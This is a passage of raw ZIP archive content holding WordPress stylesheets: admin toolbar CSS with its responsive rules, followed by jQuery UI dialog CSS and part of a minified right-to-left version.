Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-style: normal; line-height: 2.46153846; border-radius: 0; box-sizing: content-box; transition: none; -webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */ -moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */ } .rtl #wpadminbar * { font-family: Tahoma, sans-serif; } html:lang(he-il) .rtl #wpadminbar * { font-family: Arial, sans-serif; } #wpadminbar .ab-empty-item { cursor: default; } #wpadminbar .ab-empty-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #f0f0f1; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item { white-space: nowrap; } #wpadminbar ul li:before, #wpadminbar ul li:after { content: normal; } #wpadminbar a, #wpadminbar a:hover, #wpadminbar a img, #wpadminbar a img:hover { border: none; text-decoration: none; background: none; box-shadow: none; } #wpadminbar a:focus, #wpadminbar a:active, #wpadminbar input[type="text"], #wpadminbar input[type="password"], #wpadminbar input[type="number"], #wpadminbar input[type="search"], #wpadminbar input[type="email"], #wpadminbar input[type="url"], #wpadminbar select, #wpadminbar textarea, #wpadminbar div { box-shadow: none; } #wpadminbar a:focus { /* Inherits transparent outline only visible in Windows High Contrast mode */ outline-offset: -1px; } #wpadminbar { direction: ltr; color: #c3c4c7; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.46153846; height: 32px; position: fixed; top: 0; left: 0; width: 100%; min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */ z-index: 99999; background: #1d2327; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #wpadminbar .ab-sub-wrapper, #wpadminbar ul, #wpadminbar ul li { background: none; clear: none; list-style: none; margin: 0; padding: 0; position: relative; text-indent: 0; z-index: 99999; } #wpadminbar ul#wp-admin-bar-root-default>li { margin-right: 0; } #wpadminbar .quicklinks ul { text-align: left; } #wpadminbar li { float: left; } #wpadminbar .ab-empty-item { outline: none; } #wpadminbar .quicklinks a, #wpadminbar .quicklinks .ab-empty-item, #wpadminbar .shortlink-input { height: 32px; display: block; padding: 0 10px; margin: 0; } #wpadminbar .quicklinks > ul > li > a { padding: 0 8px 0 7px; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0; padding: 0; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); background: #2c3338; display: none; position: absolute; float: none; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: 100%; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { right: 0; left: auto; } #wpadminbar .ab-submenu { padding: 6px 0; } #wpadminbar .selected .shortlink-input { display: block; } #wpadminbar .quicklinks .menupop ul li { float: none; } #wpadminbar .quicklinks .menupop ul li a strong { font-weight: 600; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 2; height: 26px; white-space: nowrap; min-width: 140px; } #wpadminbar .shortlink-input { width: 200px; } #wpadminbar.nojs li:hover > .ab-sub-wrapper, #wpadminbar li.hover > .ab-sub-wrapper { display: block; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-left: 100%; margin-top: -32px; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-left: 0; left: inherit; right: 100%; } #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar .ab-top-menu > li.hover > .ab-item { background: #2c3338; color: #72aee6; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #72aee6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before, .wp-admin-bar-arrow { position: relative; float: left; font: normal 20px/1 dashicons; padding: 4px 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; background-image: none !important; margin-right: 6px; } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { position: relative; transition: color .1s ease-in-out; } #wpadminbar .ab-label { display: inline-block; height: 32px; } #wpadminbar .ab-submenu .ab-item { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #72aee6; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #c3c4c7; } #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #72aee6; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before, #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { position: absolute; font: normal 17px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar .menupop .menupop > .ab-item { display: block; padding-right: 2em; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; right: 10px; padding: 4px 0; content: "\f139"; content: "\f139" / ''; color: inherit; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { padding-left: 2em; padding-right: 1em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; left: 6px; content: "\f141"; content: "\f141" / ''; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { display: block; position: relative; right: auto; margin: 0; box-shadow: none; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: #3c434a; } #wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a { color: #72aee6; } #wpadminbar .quicklinks a span#ab-updates { background: #f0f0f1; color: #2c3338; display: inline; padding: 2px 5px; font-size: 10px; font-weight: 600; border-radius: 10px; } #wpadminbar .quicklinks a:hover span#ab-updates { background: #fff; color: #000; } #wpadminbar .ab-top-secondary { float: right; } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { box-shadow: none; } /** * Recovery Mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d63638; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: #d63638; } /** * My Account */ #wp-admin-bar-my-account > ul { min-width: 198px; } #wp-admin-bar-my-account:not(.with-avatar) > .ab-item { display: inline-block; } #wp-admin-bar-my-account > .ab-item:before { content: "\f110"; content: "\f110" / ''; top: 2px; float: right; margin-left: 6px; margin-right: 0; } #wp-admin-bar-my-account.with-avatar > .ab-item:before { display: none; content: none; } #wp-admin-bar-my-account.with-avatar > ul { min-width: 270px; } #wpadminbar #wp-admin-bar-user-actions > li { margin-left: 16px; margin-right: 16px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 6px 0 12px; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-left: 88px; } #wpadminbar #wp-admin-bar-user-info { margin-top: 6px; margin-bottom: 15px; height: auto; background: none; } #wp-admin-bar-user-info .avatar { position: absolute; left: -72px; top: 4px; width: 64px; height: 64px; } #wpadminbar #wp-admin-bar-user-info a { background: none; height: auto; } #wpadminbar #wp-admin-bar-user-info span { background: none; padding: 0; height: 18px; } #wpadminbar #wp-admin-bar-user-info .display-name, #wpadminbar #wp-admin-bar-user-info .username { display: block; } #wpadminbar #wp-admin-bar-user-info .username { color: #a7aaad; font-size: 11px; } #wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img, #wpadminbar #wp-admin-bar-my-account.with-avatar > a img { width: auto; height: 16px; padding: 0; border: 1px solid #8c8f94; background: #f0f0f1; line-height: 1.84615384; vertical-align: middle; margin: -4px 0 0 6px; float: none; display: inline; } /** * WP Logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { width: 15px; height: 20px; margin-right: 0; padding: 6px 0 5px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0 7px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { content: "\f120"; content: "\f120" / ''; top: 2px; } /* * My Sites & Site Title */ #wpadminbar .quicklinks li .blavatar { display: inline-block; vertical-align: middle; font: normal 16px/1 dashicons !important; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #f0f0f1; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar { color: #72aee6; } #wpadminbar .quicklinks li img.blavatar, #wpadminbar .quicklinks li div.blavatar:before { height: 16px; width: 16px; margin: 0 8px 2px -2px; } #wpadminbar .quicklinks li div.blavatar:before { content: "\f120"; content: "\f120" / ''; display: inline-block; } #wpadminbar #wp-admin-bar-appearance { margin-top: -12px; } #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f541"; content: "\f541" / ''; top: 2px; } #wpadminbar #wp-admin-bar-site-editor > .ab-item:before { content: "\f100"; content: "\f100" / ''; top: 2px; } #wpadminbar #wp-admin-bar-customize > .ab-item:before { content: "\f540"; content: "\f540" / ''; top: 2px; } #wpadminbar #wp-admin-bar-edit > .ab-item:before { content: "\f464"; content: "\f464" / ''; top: 2px; } #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f226"; content: "\f226" / ''; } .wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f102"; content: "\f102" / ''; } /** * Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin-right: 6px; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { content: "\f101"; content: "\f101" / ''; top: 3px; } #wpadminbar #wp-admin-bar-comments .count-0 { opacity: .5; } /** * New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { content: "\f132"; content: "\f132" / ''; top: 4px; } /** * Updates */ #wpadminbar #wp-admin-bar-updates .ab-icon:before { content: "\f463"; content: "\f463" / ''; top: 2px; } #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { display: inline-block; animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { animation: none; } } /** * Search */ #wpadminbar #wp-admin-bar-search .ab-item { padding: 0; background: transparent; } #wpadminbar #adminbarsearch { position: relative; height: 32px; padding: 0 2px; z-index: 1; } #wpadminbar #adminbarsearch:before { position: absolute; top: 6px; left: 5px; z-index: 20; font: normal 20px/1 dashicons !important; content: "\f179"; content: "\f179" / ''; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */ #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input { display: inline-block; float: none; position: relative; z-index: 30; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.84615384; text-indent: 0; height: 24px; width: 24px; max-width: none; padding: 0 3px 0 24px; margin: 0; color: #c3c4c7; background-color: rgba(255, 255, 255, 0); border: none; outline: none; cursor: pointer; box-shadow: none; box-sizing: border-box; transition-duration: 400ms; transition-property: width, background; transition-timing-function: ease; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { z-index: 10; color: #000; width: 200px; background-color: rgba(255, 255, 255, 0.9); cursor: text; border: 0; } #wpadminbar #adminbarsearch .adminbar-button { display: none; } /** * Customize support classes */ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support #wpadminbar .hide-if-no-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support #wpadminbar .hide-if-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } /* Skip link */ #wpadminbar .screen-reader-text, #wpadminbar .screen-reader-text span { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .screen-reader-shortcut { position: absolute; top: -1000em; left: 6px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; background: #f0f0f1; color: #2271b1; z-index: 100000; line-height: normal; text-decoration: none; } #wpadminbar .screen-reader-shortcut:focus { top: 7px; background: #f0f0f1; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); } @media screen and (max-width: 782px) { html { --wp-admin--admin-bar--height: 46px; } /* Toolbar Touchification*/ html #wpadminbar { height: 46px; min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */ } #wpadminbar * { font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.28571428; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks .ab-empty-item { padding: 0; height: 46px; line-height: 3.28571428; width: auto; } #wpadminbar .ab-icon { font: 40px/1 dashicons !important; margin: 0; padding: 0; width: 52px; height: 46px; text-align: center; } #wpadminbar .ab-icon:before { text-align: center; } #wpadminbar .ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item, #wpadminbar #wp-admin-bar-my-account a.ab-item { text-overflow: clip; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 1.6; } #wpadminbar .ab-label { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-top: -46px; } #wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item { padding-right: 30px; } #wpadminbar .menupop .menupop > .ab-item:before { top: 10px; right: 6px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 8px 16px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty { display: none; } /* WP logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { padding: 0; width: 52px; height: 46px; text-align: center; vertical-align: top; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { font: 28px/1 dashicons !important; top: -3px; } #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; } /* My Sites and "Site Title" menu */ #wpadminbar #wp-admin-bar-my-sites > .ab-item, #wpadminbar #wp-admin-bar-site-name > .ab-item, #wpadminbar #wp-admin-bar-site-editor > .ab-item, #wpadminbar #wp-admin-bar-customize > .ab-item, #wpadminbar #wp-admin-bar-edit > .ab-item, #wpadminbar #wp-admin-bar-my-account > .ab-item { text-indent: 100%; white-space: nowrap; overflow: hidden; width: 52px; padding: 0; color: #a7aaad; /* @todo not needed? this text is hidden */ position: relative; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; margin-right: 0; } #wpadminbar #wp-admin-bar-edit > .ab-item:before, #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before, #wpadminbar #wp-admin-bar-site-editor > .ab-item:before, #wpadminbar #wp-admin-bar-customize > .ab-item:before, #wpadminbar #wp-admin-bar-my-account > .ab-item:before { display: block; text-indent: 0; font: normal 32px/1 dashicons; top: 7px; width: 52px; text-align: center; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar #wp-admin-bar-appearance { margin-top: 0; } #wpadminbar .quicklinks li .blavatar:before { display: none; } /* Search */ #wpadminbar #wp-admin-bar-search { display: none; } /* New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { top: 0; line-height: 1.26; height: 46px !important; text-align: center; width: 52px; display: block; } /* Updates */ #wpadminbar #wp-admin-bar-updates { text-align: center; } #wpadminbar #wp-admin-bar-updates .ab-icon:before { top: 3px; } /* Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin: 0; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { display: block; font-size: 34px; height: 46px; line-height: 1.38235294; top: 0; } /* My Account */ #wpadminbar #wp-admin-bar-my-account > a { position: relative; white-space: nowrap; text-indent: 150%; /* More than 100% indention is needed since this element has padding */ width: 28px; padding: 0 10px; overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */ } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { position: absolute; top: 13px; right: 10px; width: 26px; height: 26px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar { display: none; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin: 0; } #wpadminbar #wp-admin-bar-user-info .display-name { height: auto; font-size: 16px; line-height: 1.5; color: #f0f0f1; } #wpadminbar #wp-admin-bar-user-info a { padding-top: 4px; } #wpadminbar #wp-admin-bar-user-info .username { line-height: 0.8 !important; margin-bottom: -2px; } /* Show only default top level items */ #wp-toolbar > ul > li { display: none; } #wpadminbar li#wp-admin-bar-menu-toggle, #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-my-sites, #wpadminbar li#wp-admin-bar-updates, #wpadminbar li#wp-admin-bar-site-name, #wpadminbar li#wp-admin-bar-site-editor, #wpadminbar li#wp-admin-bar-customize, #wpadminbar li#wp-admin-bar-new-content, #wpadminbar li#wp-admin-bar-edit, #wpadminbar li#wp-admin-bar-comments, #wpadminbar li#wp-admin-bar-my-account { display: block; } /* Allow dropdown list items to appear normally */ #wpadminbar li:hover ul li, #wpadminbar li.hover ul li, #wpadminbar li:hover ul li:hover ul li { display: list-item; } /* Override default min-width so dropdown lists aren't stretched to 100% viewport width at responsive sizes. */ #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: fit-content; } #wpadminbar ul#wp-admin-bar-root-default > li { margin-right: 0; } /* Experimental fix for touch toolbar dropdown positioning */ #wpadminbar .ab-top-menu, #wpadminbar .ab-top-secondary, #wpadminbar #wp-admin-bar-wp-logo, #wpadminbar #wp-admin-bar-my-sites, #wpadminbar #wp-admin-bar-site-name, #wpadminbar #wp-admin-bar-updates, #wpadminbar #wp-admin-bar-comments, #wpadminbar #wp-admin-bar-new-content, #wpadminbar #wp-admin-bar-edit, #wpadminbar #wp-admin-bar-my-account { position: static; } .network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account { margin-right: 0; } /* Realign arrows on taller responsive submenus */ #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { top: 10px; left: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { #wpadminbar { position: absolute; } #wp-responsive-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 400; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { width: 100%; left: 0; } #wpadminbar .menupop .menupop > .ab-item:before { display: none; } #wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper { margin-left: 0; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { margin: 0; width: 100%; top: auto; left: auto; position: relative; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 6px 15px 19px 30px; } #wpadminbar li:hover ul li ul li { display: list-item; } #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-updates { display: none; } /* Make submenus full-width at this size */ #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { position: static; box-shadow: none; } } /* Very narrow screens */ @media screen and (max-width: 400px) { #wpadminbar li#wp-admin-bar-comments { display: none; } } PK!ß½´Õcss/jquery-ui-dialog.cssnuȯÝí/*! * jQuery UI CSS Framework 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/category/theming/ */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; border-collapse: collapse; } .ui-helper-clearfix:after { clear: both; } .ui-helper-clearfix { min-height: 0; /* support: IE7 */ } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); /* support: IE8 */ } .ui-front { z-index: 100; } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; } /*! * jQuery UI Resizable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ .ui-resizable { position: relative; } .ui-resizable-handle { position: absolute; font-size: 0.1px; display: block; touch-action: none; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } /* rtl:ignore */ .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } /* rtl:ignore */ .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } /* rtl:ignore */ .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } /* rtl:ignore */ .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } /* rtl:ignore */ .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } /* rtl:ignore */ .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px; } /* WP buttons: see buttons.css. */ .ui-button { display: inline-block; text-decoration: none; font-size: 13px; line-height: 2; height: 28px; margin: 0; padding: 0 10px 1px; cursor: pointer; border-width: 1px; border-style: solid; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; box-sizing: border-box; color: #50575e; border-color: #c3c4c7; background: #f6f7f7; box-shadow: 0 1px 0 #c3c4c7; vertical-align: top; } .ui-button:active, .ui-button:focus { outline: none; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .ui-button::-moz-focus-inner { border-width: 0; border-style: none; padding: 0; } .ui-button:hover, .ui-button:focus { background: #f6f7f7; border-color: #8c8f94; color: #1d2327; } .ui-button:focus { border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .ui-button:active { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); } .ui-button[disabled], .ui-button:disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; text-shadow: 0 1px 0 #fff !important; cursor: default; transform: none !important; } @media screen and (max-width: 782px) { .ui-button { padding: 6px 14px; line-height: normal; font-size: 14px; vertical-align: middle; height: auto; margin-bottom: 4px; } } /* WP Theme */ .ui-dialog { position: absolute; top: 0; left: 0; z-index: 100102; background-color: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); overflow: hidden; } .ui-dialog-titlebar { background: #fff; border-bottom: 1px solid #dcdcde; height: 36px; font-size: 18px; font-weight: 600; line-height: 2; padding: 0 36px 0 16px; } .ui-button.ui-dialog-titlebar-close { background: none; border: none; box-shadow: none; color: #646970; cursor: pointer; display: block; padding: 0; position: absolute; top: 0; right: 0; width: 36px; height: 36px; text-align: center; border-radius: 0; overflow: hidden; } .ui-dialog-titlebar-close:before { font: normal 20px/1 dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; line-height: 1.8; width: 36px; height: 36px; content: "\f158"; content: "\f158" / ''; } .ui-button.ui-dialog-titlebar-close:hover, .ui-button.ui-dialog-titlebar-close:focus { color: #135e96; } .ui-button.ui-dialog-titlebar-close:focus { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .ui-dialog-content { padding: 16px; overflow: auto; } .ui-dialog-buttonpane { background: #fff; border-top: 1px solid #dcdcde; padding: 16px; } .ui-dialog-buttonpane .ui-button { margin-left: 16px; } .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-draggable .ui-dialog-titlebar { cursor: move; } .ui-widget-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; min-height: 360px; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 100101; } PK!r™¥¯¯ css/jquery-ui-dialog-rtl.min.cssnuȯÝí/*! This file is auto-generated */ /*! * jQuery UI CSS Framework 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/category/theming/ */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;right:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;right:0;width:100%;height:100%}/*! * jQuery UI Resizable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled 